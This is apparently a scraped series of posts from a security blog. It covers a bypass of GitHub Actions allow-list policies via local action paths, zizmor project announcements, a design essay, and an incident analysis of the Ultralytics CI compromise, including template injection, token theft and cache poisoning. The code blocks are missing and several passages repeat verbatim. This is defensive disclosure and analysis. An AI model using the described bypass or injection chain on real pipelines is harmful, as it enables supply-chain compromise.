TL;DR : GitHub Actions provides a policy mechanism for limiting the kinds of actions and reusable workflows that can be used within a repository, organization, or entire enterprise. Unfortunately, this mechanism is trivial to bypass . GitHub has told me that they don’t consider this a security issue (I disagree), so I’m publishing this post as-is. Update 2025-06-13 : GitHub has silently updated the actions policies documentation to note the bypass in this post: Policies never restrict access to local actions on the runner filesystem (where the path start with ). GitHub Actions is GitHub’s CI/CD offering. I’m a big fan of it, despite its spotty security track record . Because a CI/CD offering is essentially arbitrary code execution as a service , users are expected to be careful about what they allow to run in their workflows, especially privileged workflows that have access to secrets and/or can modify the repository itself. That, in effect, means that users need to be careful about what actions and reusable workflows they trust. Like with other open source ecosystems, downstream consumers (i.e., users of GitHub Actions) retrieve their components (i.e., action definitions) from an essentially open index (the “Actions Marketplace” 1 ). To establish trust in those components, downstream users perform all of the normal fuzzy heuristics: they look at the number of stars, the number of other user, recency of activity, whether the user/organization is a “good” one, and so forth. Unfortunately, this isn’t good enough along two dimensions: Even actions that satisfy these heuristics can be compromised. They’re heuristics after all, not verifiable assertions of quality or trustworthiness. The recent tj-actions attack typifies this: even popular, widely-used actions are themselves software components, with their own supply chains (and CI/CD setups). This kind of acceptance scheme just doesn’t scale , both in terms of human effort and system complexity: complex CI/CD setups can have dozens (or hundreds) of workflows, each of which can contain dozens (or hundreds) of jobs that in turn employ actions and reusable workflows. These sorts of large setups don’t necessarily have a single owner (or even a single team) responsible for gating admission and preventing a the introduction of unvetted actions and reusable workflows. The problem (as stated above) is best solved by eliminating the failure mode itself: rather than giving the system’s committers the ability to introduce new actions and reusable workflows without sufficient review, the system should prevent them from doing so in the first place . To their credit, GitHub understands this! They have a feature called “Actions policies 2 ” that does exactly this. From the Manage GitHub Actions settings documentation: You can restrict workflows to use actions and reusable workflows in specific organizations and repositories. Specified actions cannot be set to more than 1000. (sic) To restrict access to specific tags or commit SHAs of an action or reusable workflow, use the same syntax used in the workflow to select the action or reusable workflow. For an action, the syntax is . For example, use to select a tag or to select a SHA. For more information, see Using pre-written building blocks in your workflow. For a reusable workflow, the syntax is . For example, . For more information, see Reusing workflows. You can use the wildcard character to match patterns. For example, to allow all actions and reusable workflows in organizations that start with , you can specify . To allow all actions and reusable workflows in repositories that start with , you can use . For more information about using the wildcard, see Workflow syntax for GitHub Actions. Use to separate patterns. For example, to allow and , you can specify . GitHub also provides special “preset” cases for this functionality, such as allowing only actions and reusable workflows that belong to the same organization namespace as the repository itself. Here’s what that looks like on a dummy organization and repository of mine: …and here’s what happens when I try to violate that policy, e.g. by using in a workflow: This is fantastic, except that it’s trivial to bypass. Let’s see how. To understand how we’re going to bypass this, we need to understand a few of the building blocks underneath actions and reusable workflows. In particular: These four aspects of GitHub Actions compose together into the world’s dumbest policy bypass : instead of doing , the user can (or otherwise fetch) the repository into the runner’s filesystem, and then use to run the very same action. Here’s what that looks like in practice: (The actual block of the step is inconsequential — I just used that repository for the demo, but anything would work.) And naturally, it works just fine: The fix for this bypass is simple, if potentially somewhat painful: GitHub Actions could consider “local” references to be another category for the purpose of policies, and reject them whenever the policy doesn’t permit them. This would seal off the entire problem, since would just stop working. The downside is that it would potentially break existing users of policies who also use local actions and reusable workflows, assuming there are significant numbers of them 4 . The other option would be to leave it the way it is, but explicitly document local references as a limitation of this policy mechanism. I honestly think this would be perfectly fine; what matters is that users 5 are informed of a feature’s limitations, not necessarily that the feature lacks limitations. First, I’ll couch this again: this is not exactly fancy stuff. It’s a very dumb bypass, and I don’t think it’s critical by any means. At the same time, I think this matters a great deal : ineffective policy mechanisms are worse than missing policy mechanisms, because they provide all of the feeling of security through compliance while actually incentivizing malicious forms of compliance . In this case, the maliciously complying party is almost certainly a developer just trying to get their job done: like most other developers who encounter an inscrutable policy restriction, they will try to hack around it such that the policy is satisfied in name only. For that reason alone I think GitHub should fix this bypass, either by actually fixing it or at least documenting its limitations. Without either of those, projects and organizations are likely to mistakenly believe that these sorts of policies provide a security boundary where none in fact exists . Technically “publishing” an action to the Actions Marketplace is not required; anybody can do to fetch the action defined in even if it isn’t published. All publishing does is give the action a marketplace page and the potential for a little blue checkmark of unclear security value. ↩ Actually, I don’t know what this feature is called. It’s titled “Policies” under the “Actions” section of the repo/org/enterprise settings and is documented under “Github Actions policies” in the Enterprise documentation, but I’m not sure if that’s an umbrella term or not. I’m just going to keep calling it “Actions policies” for now. ↩ Where “owner” is an individual owner or an organization, which in turn might be controlled by an enterprise. But that last bit isn’t visible in the namespace. ↩ I honestly have no idea how widely used this policy feature is. ↩ Here, policy authors and enforcers. ↩ Even actions that satisfy these heuristics can be compromised. They’re heuristics after all, not verifiable assertions of quality or trustworthiness. The recent tj-actions attack typifies this: even popular, widely-used actions are themselves software components, with their own supply chains (and CI/CD setups). This kind of acceptance scheme just doesn’t scale , both in terms of human effort and system complexity: complex CI/CD setups can have dozens (or hundreds) of workflows, each of which can contain dozens (or hundreds) of jobs that in turn employ actions and reusable workflows. These sorts of large setups don’t necessarily have a single owner (or even a single team) responsible for gating admission and preventing a the introduction of unvetted actions and reusable workflows. For an action, the syntax is . For example, use to select a tag or to select a SHA. For more information, see Using pre-written building blocks in your workflow. For a reusable workflow, the syntax is . For example, . For more information, see Reusing workflows. Actions and reusable workflows share the same namespace as the rest of GitHub, i.e. 3 ; When a user writes something like in a workflow, GitHub resolves that reference to mean “the file defined at tag in the repository”; keywords can also refer to relative paths on the runner itself. For example, runs the step with the in the current directory. Relative paths from the runner are not inherently part of the repository state itself: the runner is can contain any state introduced by previous steps within the same job. Technically “publishing” an action to the Actions Marketplace is not required; anybody can do to fetch the action defined in even if it isn’t published. All publishing does is give the action a marketplace page and the potential for a little blue checkmark of unclear security value. ↩ Actually, I don’t know what this feature is called. It’s titled “Policies” under the “Actions” section of the repo/org/enterprise settings and is documented under “Github Actions policies” in the Enterprise documentation, but I’m not sure if that’s an umbrella term or not. I’m just going to keep calling it “Actions policies” for now. ↩ Where “owner” is an individual owner or an organization, which in turn might be controlled by an enterprise. But that last bit isn’t visible in the namespace. ↩ I honestly have no idea how widely used this policy feature is. ↩ Here, policy authors and enforcers. ↩

Ci Cd

0 views

ENOSUCHBLOG 1 years ago

A Discord server and new GitHub organization for zizmor

TL;DR : now has a Discord server and a new GitHub organization ( @zizmorcore ). Feel free to join the Discord server, and be on the lookout for an official transition of @woodruffw/zizmor to the new organization in the coming weeks! (Click me for an invite!) is a static analysis tool for GitHub Actions. I’ve been building it for the last few months (along with the help of a lot of fantastic contributors), and the impact it’s had on the overall security of the GitHub Actions ecosystem has been very gratifying to see. You can read more about in some earlier posts: However, this post isn’t a technical post about itself. It’s more of a PSA for some organizational changes that are coming to qua project . These changes won’t affect ordinary users of in any way, but they will hopefully make it easier for me to grow ’s community and coordinate with contributors and users looking for help. now has a Discord server ! This server is intended as a place for both users and maintainers/contributors to talk (both about and CI/CD security more generally), ask questions, and discuss ideas that need to “pre-germinate” before they can be turned into normal GitHub issues or PRs. I’m hoping that this server will complement the existing GitHub issue tracker and discussion board, rather than replace them — the goal is to make it easier for people to self-select into different “tracks” for discussion: Or in other words: if you’re new or just don’t know where to start with a topic, pop into Discord and ask! Most things will still happen on GitHub, but Discord is a great place to get started. Finally: I’m not exactly an expert when it comes to Discord; this is my first time really using it, particularly in an administrative capacity. I’m very open to feedback and suggestions on how to improve the server and make it a better place for discussion. A PSA for the Discord server is also tracked in zizmor#756 . has a new GitHub organization: @zizmorcore ! This organization will soon be the new home of @woodruffw/zizmor , along with all current other -related repositories (like @woodruffw/yamlpath and @woodruffw/github-actions-models ). This new organization will also be the home of new projects under the umbrella, including dedicated repositories for workflows/actions, IDE plugins, and so forth. Stay tuned for dedicated announcements there! In practice, this will have little to no effect on most users of : commands like and will continue to work exactly as they do now, and GitHub will transparently handle the repository redirect itself. The main visible changes from this will be: The current plan is to perform this transfer with the release of , i.e. the following minor release (since is already planned for release in the coming days). This will give me time to figure out how bad the link breakage will be and, if unacceptable, to consider workarounds (like redirects, or possibly a whole new domain name) before sealing the deal. This change is also being tracked in zizmor#758 . October 2024: Introducing zizmor: now you can have beautiful clean workflows December 2024: zizmor would have caught the Ultralytics workflow vulnerability January 2025: zizmor 1.0 “Ordinary” user questions (things like “how do I use ?” and “why doesn’t this flag work?”) belong in Discord, since they’re often ephemeral and don’t require permanent tracking. Early technical discussions (things like “I have an idea for a new audit, but I have no idea where to get started”) belong in Discord, since they often require back-and-forth discussion and don’t need to be tracked in the issue tracker until firmed up. Just about everything else (things like qualified bug reports and feature requests) belong in the GitHub issue tracker, so that they don’t get lost in the backlog of a chat and can be categorized and triaged. The GitHub slug will go from @woodruffw/zizmor to @zizmorcore/zizmor (which doesn’t exist yet). Contributors may want to upgrade their remotes to point to the new organization, although GitHub will also handle the redirect transparently. The current documentation site ( https://woodruffw.github.io/zizmor/ ) will be moved to https://zizmorcore.github.io/zizmor/ , and all references to the former (e.g. in zizmor’s outputs) will be moved to the latter. GitHub unfortunately doesn’t support redirects for GitHub Pages like they do for repository renames, so users on older versions of may experience some link breakage.

0 views

ENOSUCHBLOG 1 years ago

Be aware of the Makefile effect

Update 2024-01-12 : Ken Shirriff has an an excellent blog post on why “cargo cult” is a poor term of art. I’m not aware of a perfect 1 term for this, so I’m making one up: the Makefile effect 2 . The Makefile effect boils down to this: Tools of a certain complexity or routine unfamiliarity are not run de novo , but are instead copy-pasted and tweaked from previous known-good examples. You see this effect frequently with engineers of all stripes and skill/experience levels, with Make being a common example 3 : On one level, this is a perfectly good (even ideal) engineering response at the point of solution : applying a working example is often the parsimonious thing to do, and runs a lesser (in theory) risk of introducing bugs, since most of the work is unchanged. However, at the point of design , this suggests a tool design (or tool application 5 ) that is flawed : the tool (or system) is too complicated (or annoying) to use from scratch. Instead of using it to solve a problem from scratch, users repeatedly copy a known-good solution and accrete changes over time. Once you notice it, you start to see this pattern all over the place. Beyond Make: In many cases, perhaps not. However, I think it’s worth thinking about, especially when designing tools and systems: Tools and systems that enable this pattern often have less-than-ideal diagnostics or debugging support: the user has to run the tool repeatedly, often with long delays, to get back relatively small amounts of information. Think about CI/CD setups, where users diagnose their copy-pasted CI/CD by doing print-style debugging over the network with a layer of intermediating VM orchestration. Ridiculous! Tools that enable this pattern often discourage broad learning : a few mavens know the tool well enough to configure it, and others copy it with just enough knowledge to do targeted tweaks. This is sometimes inevitable, but often not: dependency graphs are an inherent complexity of build systems, but remembering the difference between and in Make is not. Tools that enable this pattern are harder to use securely : security actions typically require deep knowledge of the why behind a piece of behavior. Systems that are subject to the Makefile effect are also often ones that enable confusion between code and data (or any kind of in-band signalling more generally), in large part because functional solutions are not always secure ones. Consider, for example, about template injection in GitHub Actions. In general, I think well-designed tools (and systems) should aim to minimize this effect. This can be hard to do in a fully general manner, but some things I think about when designing a new tool: The Makefile effect resembles other phenomena, like cargo culting, normalization of deviance, “write-only language,” &c. I’ll argue in this post that it’s a little different from each of these, insofar as it’s not inherently ineffective or bad and concerns the outcome of specific designs . ↩ Also note: the title is “be aware,” not “beware.” The Makefile effect is not inherently bad! It’s something to be aware of when designing tools and systems. ↩ Make is just an example, and not a universal one: different groups of people master different tools. The larger observation is that there are classes of tools/systems that are (more) susceptible to this, and classes that are (relatively) less susceptible to it. ↩ I’ve heard people joke about their “heritage” s, i.e. s that were passed down to them by senior engineers, professors, &c. The implication is that these forebearers also inherited the , and have been passing it down with small tweaks since time immemorial. ↩ Complex tools are a necessity; they can’t always be avoided. However, the occurrence of the Makefile effect in a simple application suggests that the tool is too complicated for that application. ↩ A task (one of a common shape) needs completing. A very similar (or even identical) task has been done before. Make (or another tool susceptible to this effect) is the correct or “best” (given expedience, path dependencies, whatever) tool for the task. Instead of writing a , the engineer copies a previous (sometimes very large and complicated 4 ) from a previous instance of the task and tweaks it until it works in the new context. CI/CD configurations like GitHub Actions and GitLab CI/CD, where users copy their YAML spaghetti from the last working setup and tweak it (often with repeated re-runs) until it works again; Linter and formatter configurations, where a basic set of rules gets copied between projects and strengthened/loosened as needed for local conditions; Build systems themselves, where everything non-trivial begins to resemble the previous build system. Tools and systems that enable this pattern often have less-than-ideal diagnostics or debugging support: the user has to run the tool repeatedly, often with long delays, to get back relatively small amounts of information. Think about CI/CD setups, where users diagnose their copy-pasted CI/CD by doing print-style debugging over the network with a layer of intermediating VM orchestration. Ridiculous! Tools that enable this pattern often discourage broad learning : a few mavens know the tool well enough to configure it, and others copy it with just enough knowledge to do targeted tweaks. This is sometimes inevitable, but often not: dependency graphs are an inherent complexity of build systems, but remembering the difference between and in Make is not. Tools that enable this pattern are harder to use securely : security actions typically require deep knowledge of the why behind a piece of behavior. Systems that are subject to the Makefile effect are also often ones that enable confusion between code and data (or any kind of in-band signalling more generally), in large part because functional solutions are not always secure ones. Consider, for example, about template injection in GitHub Actions. Does it need to be configurable? Does it need syntax of its own? As a corollary: can it reuse familiar syntax or idioms from other tools/CLIs? Do I end up copy-pasting my use of it around? If so, are others likely to do the same? The Makefile effect resembles other phenomena, like cargo culting, normalization of deviance, “write-only language,” &c. I’ll argue in this post that it’s a little different from each of these, insofar as it’s not inherently ineffective or bad and concerns the outcome of specific designs . ↩ Also note: the title is “be aware,” not “beware.” The Makefile effect is not inherently bad! It’s something to be aware of when designing tools and systems. ↩ Make is just an example, and not a universal one: different groups of people master different tools. The larger observation is that there are classes of tools/systems that are (more) susceptible to this, and classes that are (relatively) less susceptible to it. ↩ I’ve heard people joke about their “heritage” s, i.e. s that were passed down to them by senior engineers, professors, &c. The implication is that these forebearers also inherited the , and have been passing it down with small tweaks since time immemorial. ↩ Complex tools are a necessity; they can’t always be avoided. However, the occurrence of the Makefile effect in a simple application suggests that the tool is too complicated for that application. ↩

Design Yaml

Programming

0 views

ENOSUCHBLOG 1 years ago

zizmor 1.0

Happy New Year! I’m pleased to announce that 1.0 is now released. Read the release notes here . For those unacquainted: is a static analysis tool for GitHub Actions. It can find security issues in GitHub Actions workflow and action definitions, including the kinds of weaknesses that compromised a major machine learning project just last month. I released to the public about 2 months ago, and interest and adoption have been meteoric: over 1600 people have starred the repository (as of writing), and major projects like Python, PyPI, cURL, urllib3, and RubyGems are using it to secure their CI/CD setups 1 . The docs contain lots of additional details, including how to install (it’s very simple!), as well as how to get started with auditing your own and others’ repositories. Finally, some words of thanks: A full list of projects and companies using can be found in the trophy case . ↩ Thank you to Alex Gaynor , Paul Kehrer , Mike Fiedler for being early adopters and alpha testers. Thank you to Hugo van Kemenade and Alyssa Coghlan for their detailed bug reports and adoption efforts. Thank you to Ben Cotton for being the project’s first (and so far, only!) sponsor. Thank you to the 20+ people who have contributed to so far, including the many more who contributed feedback and bug reports that don’t show up in GitHub contribution statistics. And finally, a huge thank you to Ubiratan Soares , who has both added and significantly improved ’s set of audits ! A full list of projects and companies using can be found in the trophy case . ↩

0 views

ENOSUCHBLOG 1 years ago

zizmor would have caught the Ultralytics workflow vulnerability

TL;DR : would have caught the vulnerability that caused this…mostly. Read on for details. Important: I’m writing this post in real time as I learn more about what happened here. I’ll be updating it throughout the day. EDIT : I’ve reached the point here where I feel comfortable making some inferences/conclusions. These are in the Conclusions section. EDIT 2024-12-07 : Today is the last day I’ll be making updates to this post. The Conclusions are now fully updated, and I’ve added a rough (but comprehensive) timeline of events as an appendix. Yesterday, someone exploited Ultralytics , which is a very popular machine learning package for vision stuff™. The attacker appears to have compromised Ultralytics’ CI, and then pivoted to making a malicious PyPI release (v8.3.41, now deleted 1 ), which contained a crypto miner. It appears as though a subsequent release (v8.3.42, also now deleted) was also malicious. UPDATE 2024-12-07 : Ultralytics was compromised again , within 36 hours of the last compromise. This latest compromise appears to have resulted in two more malicious releases, v8.3.45 and v8.3.46, both of which were released directly to PyPI and have since been deleted. These releases appear to have been pushed directly by the attacker using an API token stolen from the ultralytics/ultralytics CI/CD, likely at the same time as they conducted the original exfiltration and cache poisoning attack. Here’s the rough flow of what happened: The @openimbot account opens a PR, #18020 , against the upstream ultralytics/ultralytics repository. PR #18020 has a malicious branch name: or formatted, with expanded with spaces: NOTE : I haven’t been able to get my hands on this payload yet; if you have access to it, ping me! This gets picked up by the workflow , which has a fundamentally dangerous workflow trigger ( ). calls a custom action, defined in : The custom action is a composite action with shell steps in its , including the following: Line above is a classic GitHub Actions template injection : the expansion of is injected directly into the shell’s context, with no quoting or interpolation. I believe this is where the malicious branch name gets injected, resulting in the payload (inside ) being run. From here, the attacker is running code of their choice in a context, meaning that (by default) they have access to anything a normal privileged workflow can do. In particular, that means they (almost certainly) had (or still have) push access to ultralytics/ultralytics itself, as well as to the repository’s privileged caches. Either one of these was/is an effective vector for compromising the repository contents and/or the contents of its artifacts. I don’t know yet how the attacker pivoted from this context to compromising the PyPI package that was then uploaded and eventually noticed by users in #18027 . Their underlying technique there would probably be revealed by the payload inside of the shell script above. EDIT : My colleague Will Tan pointed out that one of the fix PRs, #18052 , also removes from one of the sites. This suggests that the underlying vector was indeed a poisoned cache, introduced after the code injection. EDIT : Seth Larson and Ee Durbin point out that the Ultralytics is using Trusted Publishing with PyPI, but they aren’t using a configured deployment environment. That means that they have/had no additional signoff or other environment protections on PyPI releases, which in turn suggests that workflow compromise was sufficient to induce the publish event. EDIT : Adnan Khan has pointed out the likely cache entry that was poisoned to compromise the build in this case. Combined with the exfiltration observed below, this very strongly suggests that the attacker used a poisoned cache. Regardless of how the pivot occurred, it appears as though is the triggering commit for the first malicious release: it bumps the version to the first known malicious version (v8.3.41) and, critically , removes a check that limited who could do triggers from the branch: At this point, the workflow is triggered on a event for the branch, resulting in an action run that published v8.3.41 to PyPI. I’ve uploaded the action log here . The sdist and wheel for v8.3.41 can also be found in Sigstore’s transparency log as 153415338 and 153415340 respectively. Adnan Khan also points out that 153589717 is the Sigstore transparency log entry for one of v8.3.42’s distributions. All of these log entries show a event for . All in all, malicious version of Ultralytics were available on PyPI for about 13 hours . The discussion in #18027 has lots of additional details, including some analysis of the payload in the Python package itself (which I haven’t analyzed yet). I’m breaking this section out because it’s proving to be independently interesting. This is the initial payload, which now 404s presumably because GitHub has taken it down: Andy Lindeman conducted a search for similar branch names pushed by other users, and discovered that @jiwuwgknvm (user ID 190546325, now deleted) created a branch with a similar name at . This branch references a different payload, this time in a Gist: That URL 404s, but the underlying Gist repository is still live: …and contains a standard stealer: The for the gist suggests that the @jiwuwgknvm identity is also in control of , which was one of the original IOCs for the dropped miner. EDIT : Seth Larson observes that the stealer also steals the , providing more circumstantial evidence for the cache poisoning hypothesis. Andy Lindeman also discovered an earlier GitHub identity, @jeficmer456 (also deleted), which appears to have been experimenting with the template injection even earlier (circa ): This led to another user Gist: The for this Gist suggests the identity goes back to 2024-12-01: This email identity is also separate from the one associated with the Gist, per above ( ). This is what I immediately wondered upon seeing this. Let’s find out! Here is what reports for v8.3.40 , i.e. the release state right before the attack: NOTE : Passing directly is supported on , but isn’t in a release of yet. To reproduce with a released version, you can Ultralytics and run on a checkout of v8.3.40 . I’ve excerpted the output substantially, to remove findings that Ultralytics should fix but are not immediately relevant to this particular exploit: All told, detects the key parts of the exploit chain: At the same time, does not detect the template injection within yet, since I haven’t yet added support for auditing composite actions. This is being tracked in zizmor#173 , and this incident is as good an impetus as any for me to begin work on this! Based on everything above, here’s how it likely went down: The attacker obtained code execution in the parent ( ultralytics/ultralytics ) CI context via an insecure workflow trigger ( ) combined with a template injection in a custom composite GitHub Action. In other words, they performed a traditional “pwn request” of the sort that’s been well-understood since 2021. The attacker used @openimbot as a puppet account, but also used the @jiwuwgknvm identity while developing their exploit. They may or may not also be the @jeficmer456 identity, which tried to exploit a different repository shortly before with a similar shell-script-in-Gist technique. At this point, it’s unclear whether @openimbot is controlled by the attacker or not. Once the attacker had code execution, they used a ready-made token exfiltration script that they took directly from Adnan Khan’s excellent post on GitHub Actions cache poisoning . This script probably posted back to a webhook panel on , one that we don’t have access to (since we only have their earlier attempt, not the final one). With the stolen cache token, they likely effected a cache poisoning attack on the cache used by , injecting their changes into the release distributions. Those changes were a client-side downloader stage (patched into the function) and the client side miner execution (patched into the function). There are still some loose ends here (like the actual payload), but the circumstantial evidence very strongly suggests the above. Here is the rough overall timeline of what occurred, as best as I can figure it. I’ve left out events for the @jiwuwgknvm identity’s setup and weaponization phase, since I don’t have a complete view of that yet. UPDATE : Gaëtan Ferry and Guillaume Valadon at GitGuardian have put together a reconstructed analysis of the attack , including a recovery of the final payload used by the attacker. Their analysis confirms that the attacker succeeded in their first PR ( #18018 ) but never pushed the commit that would have enabled their second PR ( #18020 ). Moreover, thanks to their repository monitoring, they were able to recover the payload itself, which is a modified variant of the the one used in the exploratory phase: 2024-08-14: Adnan Khan reports GHSA-7x29-qqmq-v6qc to the Ultralytics maintainers. This contains a template injection vulnerability virtually identical to the one used by the attacker. 2024-08-14: v0.0.3 of is released with a fix for GHSA-7x29-qqmq-v6qc . 2024-08-24: v0.0.24 of reintroduces the vulnerability in . 2024-12-03 22:28:49: the @jiwuwgknvm identity begins experimenting with a weaponized attack against ultralytics/ultralytics . It’s unclear whether this identity is the same person or people as others who attempted to weaponize code injection via branches as early as 2024-10-02. 2024-12-03 22:33:47: the @jiwuwgknvm identity submits PR #17984 (now deleted) to ultralytics/ultralytics , which contains the token stealer and exfiltration script above. From this point on, the repository should be considered to be compromised : the attacker is assumed to have access to everything in the context, including any GitHub PATs and the PyPI API token (which was not in use, since Ultralytics had switched to Trusted Publishing ). 2024-12-04 19:33: the @openimbot identity submits PR #18018 to ultralytics/ultralytics , containing a template injection via a crafted branch name. Branch payload: 2024-12-04 19:57: the @openimbot identity submits PR #18020 to ultralytics/ultralytics , containing a different template injection via a crafted branch name. Branch payload: 2024–12–04 20:50: Release for v8.3.41 is triggered by the @UltralyticsAssistant identity via commit , which also disables the actor release restriction for @glenn-jocher . This strongly suggests that the attacker is in full control of the @UltralyticsAssistant identity at this point. Workflow run: https://github.com/ultralytics/ultralytics/actions/runs/12168072999/job/33938058724 . 2024-12-04 20:51: Sigstore’s transparency log records 153415338 and 153415340 indicating two attestations, one for each of the distributions of v8.3.41 that will appear on PyPI ( and ). 2024-12-04 20:51: v8.3.41 is uploaded to PyPI with a Trusted Publisher and valid attestations for each distribution, matching the ultralytics/ultralytics Trusted Publisher identity. 2024-12-05 06:34: #18027 is opened on GitHub by Eric Johnson , identifying v8.3.41 as malicious. 2024-12-05 09:15:06: v8.3.41 is removed from PyPI (approx. 12 hours after introduction). 2024-12-05 12:46: Release for v8.3.42 is triggered by @glenn-jocher via commit . At this point the actor release restriction is back in place, but has no effect as @glenn-jocher is the one making the release. Workflow run: https://github.com/ultralytics/ultralytics/actions/runs/12180037832/job/33973482495 . 2024-12-05 12:47: Sigstore’s transparency log records 153589716 and 153589717 indicating two attestations, one for each of the distributions of v8.3.42 that will appear on PyPI ( and ). 2024-12-05 12:47: v8.3.42 is uploaded to PyPI with a Trusted Publisher and valid attestations for each distribution. 2024-12-05 13:03: @renzhexigua announces on #18027 that v8.3.42 is still malicious. 2024-12-05 13:47:30: v8.3.42 is removed from PyPI (approx. 1 hour after introduction). 2024-12-05 15:17: @glenn-jocher announces on #18027 that the @openimbot identity is banned from interacting with Ultralytics . 2024-12-07 01:41:45: v8.3.45 is directly released to PyPI, with no CI/CD or repository activity from ultralytics/ultralytics . This was done with an API token and not a Trusted Publisher, and therefore has no attestations. This strongly suggests that the attacker either obtained a PyPI API token from the original secrets exfiltration phase or is in full control pypi/u/glenn-jocher . 2024-12-07 02:27:14: v8.3.46 is directly released to PyPI, with no CI/CD or repository activity from ultralytics/ultralytics . Like with v8.3.45, this release is done via API token and has no attestation. 2024-12-07 04:00: Adnan Khan announces on #18027 that v8.3.45 and v8.3.46 are still malcious, albiet with a different (simpler) miner payload. 2024-12-07 10:08:32: v8.3.45 is removed from PyPI (approx. 8 hours after introduction). 2024-12-07 10:09:08: v8.3.46 is removed from PyPI (approx. 7.5 hours after introduction). In summary: A total of 4 different releases of Ultralytics were malicious: v8.3.41, v8.3.42, v8.3.45, and v8.3.46. All evidence strongly suggests that the attacker was able to fully exfiltrate all of the configured repository secrets within ultralytics/ultralytics . As such, the Ultralytics maintains must consider these credentials compromised and revoke them immediately to avoid further compromise . The failure to immediately revoke a stale API token may have been what enabled the follow-on direct releases of v8.3.45 and v8.3.46. All evidence strongly suggests that the attacker was in full control of the @UltralyticsAssistant bot account, and may still have control over it . The basic vulnerability that enabled this attack has been present in since 2024-08-24 and was reintroduced after a previous disclosure. This strongly suggests a lack of adequate security controls and reviews within Ultralytics’ processes. The release has been deleted and can no longer be resolved, but the malicious distribution is still available on PyPI’s storage: (replace with ). ↩ The @openimbot account opens a PR, #18020 , against the upstream ultralytics/ultralytics repository. This appears to be a bot account, but presumably has some underlying functionality that allowed a human being to open a PR under its name. PR #18020 has a malicious branch name: or formatted, with expanded with spaces: NOTE : I haven’t been able to get my hands on this payload yet; if you have access to it, ping me! This gets picked up by the workflow , which has a fundamentally dangerous workflow trigger ( ). calls a custom action, defined in : The custom action is a composite action with shell steps in its , including the following: Line above is a classic GitHub Actions template injection : the expansion of is injected directly into the shell’s context, with no quoting or interpolation. I believe this is where the malicious branch name gets injected, resulting in the payload (inside ) being run. From here, the attacker is running code of their choice in a context, meaning that (by default) they have access to anything a normal privileged workflow can do. In particular, that means they (almost certainly) had (or still have) push access to ultralytics/ultralytics itself, as well as to the repository’s privileged caches. Either one of these was/is an effective vector for compromising the repository contents and/or the contents of its artifacts. I don’t know yet how the attacker pivoted from this context to compromising the PyPI package that was then uploaded and eventually noticed by users in #18027 . Their underlying technique there would probably be revealed by the payload inside of the shell script above. EDIT : My colleague Will Tan pointed out that one of the fix PRs, #18052 , also removes from one of the sites. This suggests that the underlying vector was indeed a poisoned cache, introduced after the code injection. EDIT : Seth Larson and Ee Durbin point out that the Ultralytics is using Trusted Publishing with PyPI, but they aren’t using a configured deployment environment. That means that they have/had no additional signoff or other environment protections on PyPI releases, which in turn suggests that workflow compromise was sufficient to induce the publish event. EDIT : Adnan Khan has pointed out the likely cache entry that was poisoned to compromise the build in this case. Combined with the exfiltration observed below, this very strongly suggests that the attacker used a poisoned cache. It flags as using a fundamentally insecure trigger ( ); It flags other sources of template/code injection in the Ultralytics workflows, including identical uses of the pattern that made their custom action exploitable. The attacker obtained code execution in the parent ( ultralytics/ultralytics ) CI context via an insecure workflow trigger ( ) combined with a template injection in a custom composite GitHub Action. In other words, they performed a traditional “pwn request” of the sort that’s been well-understood since 2021. The attacker used @openimbot as a puppet account, but also used the @jiwuwgknvm identity while developing their exploit. They may or may not also be the @jeficmer456 identity, which tried to exploit a different repository shortly before with a similar shell-script-in-Gist technique. At this point, it’s unclear whether @openimbot is controlled by the attacker or not. Once the attacker had code execution, they used a ready-made token exfiltration script that they took directly from Adnan Khan’s excellent post on GitHub Actions cache poisoning . This script probably posted back to a webhook panel on , one that we don’t have access to (since we only have their earlier attempt, not the final one). With the stolen cache token, they likely effected a cache poisoning attack on the cache used by , injecting their changes into the release distributions. Those changes were a client-side downloader stage (patched into the function) and the client side miner execution (patched into the function). The poisoned cache key is almost certainly . 2024-08-14: Adnan Khan reports GHSA-7x29-qqmq-v6qc to the Ultralytics maintainers. This contains a template injection vulnerability virtually identical to the one used by the attacker. 2024-08-14: v0.0.3 of is released with a fix for GHSA-7x29-qqmq-v6qc . 2024-08-24: v0.0.24 of reintroduces the vulnerability in . 2024-12-03 22:28:49: the @jiwuwgknvm identity begins experimenting with a weaponized attack against ultralytics/ultralytics . It’s unclear whether this identity is the same person or people as others who attempted to weaponize code injection via branches as early as 2024-10-02. 2024-12-03 22:33:47: the @jiwuwgknvm identity submits PR #17984 (now deleted) to ultralytics/ultralytics , which contains the token stealer and exfiltration script above. From this point on, the repository should be considered to be compromised : the attacker is assumed to have access to everything in the context, including any GitHub PATs and the PyPI API token (which was not in use, since Ultralytics had switched to Trusted Publishing ). 2024-12-04 19:33: the @openimbot identity submits PR #18018 to ultralytics/ultralytics , containing a template injection via a crafted branch name. Branch payload: 2024-12-04 19:57: the @openimbot identity submits PR #18020 to ultralytics/ultralytics , containing a different template injection via a crafted branch name. Branch payload: 2024–12–04 20:50: Release for v8.3.41 is triggered by the @UltralyticsAssistant identity via commit , which also disables the actor release restriction for @glenn-jocher . This strongly suggests that the attacker is in full control of the @UltralyticsAssistant identity at this point. Workflow run: https://github.com/ultralytics/ultralytics/actions/runs/12168072999/job/33938058724 . 2024-12-04 20:51: Sigstore’s transparency log records 153415338 and 153415340 indicating two attestations, one for each of the distributions of v8.3.41 that will appear on PyPI ( and ). 2024-12-04 20:51: v8.3.41 is uploaded to PyPI with a Trusted Publisher and valid attestations for each distribution, matching the ultralytics/ultralytics Trusted Publisher identity. A detailed sub-item timeline for this upload is available in this comment . 2024-12-05 06:34: #18027 is opened on GitHub by Eric Johnson , identifying v8.3.41 as malicious. 2024-12-05 09:15:06: v8.3.41 is removed from PyPI (approx. 12 hours after introduction). 2024-12-05 12:46: Release for v8.3.42 is triggered by @glenn-jocher via commit . At this point the actor release restriction is back in place, but has no effect as @glenn-jocher is the one making the release. Workflow run: https://github.com/ultralytics/ultralytics/actions/runs/12180037832/job/33973482495 . 2024-12-05 12:47: Sigstore’s transparency log records 153589716 and 153589717 indicating two attestations, one for each of the distributions of v8.3.42 that will appear on PyPI ( and ). 2024-12-05 12:47: v8.3.42 is uploaded to PyPI with a Trusted Publisher and valid attestations for each distribution. 2024-12-05 13:03: @renzhexigua announces on #18027 that v8.3.42 is still malicious. 2024-12-05 13:47:30: v8.3.42 is removed from PyPI (approx. 1 hour after introduction). 2024-12-05 15:17: @glenn-jocher announces on #18027 that the @openimbot identity is banned from interacting with Ultralytics . 2024-12-07 01:41:45: v8.3.45 is directly released to PyPI, with no CI/CD or repository activity from ultralytics/ultralytics . This was done with an API token and not a Trusted 